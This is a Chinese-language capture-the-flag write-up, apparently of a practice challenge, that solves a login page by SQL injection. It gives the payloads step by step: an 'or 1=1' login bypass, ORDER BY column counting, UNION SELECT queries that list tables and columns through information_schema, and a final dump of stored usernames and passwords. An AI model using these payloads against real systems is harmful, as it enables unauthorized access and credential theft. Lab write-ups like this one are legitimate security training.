1、查看题目
发现是SQL注入的题目,首先尝试万能账号登录:
使用万能账号可以成功登录。
2、联合注入:
(1)在成功登录的基础上使用联合注入语法知识进行,首先使用 order by 判断字段数。
(2)测试了几次到100也没有爆出字段,也将#进行了url编码,更换万能账户再次测试,测试成功。
万能账号:username=admin ' or 1=1 #
密码:password=1
payload:username=1' order by 4 %23&password=1
在测试到 4 时出现错误,所以得出字段是3;
(4)查看回显:
payload:username=admin' union select 1,2,3%23&password=1
回显结果为第 2、3 字段。
(5)爆出数据库:
payload:username=admin' union select 1,database(),version()%23&password=1
得出数据库名和版本信息。
(6)爆出数据库的表名:
payload:username=admin ' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
发现使用admin用户名时,不会爆出数据库表名,因而需要更改用户名。
构造新的payload:username=adminn ' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
表爆出成功,发现两个表名。
(7)爆出表的列:
a、geekuser:
payload:
username=adminn ' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser'%23&password=1
未发现flag。
b、l0ve1ysq1:
payload:
username=adminn ' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23&password=1
发现和geekuser列名一样。
(8)直接读取表的内容:
a、geekuser:
payload:username=adminn ' union select 1,2,group_concat(id,username,password) from geekuser%23&password=1
没有发现flag。
b、l0ve1ysq1:
payload:username=adminn ' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1
得到flag。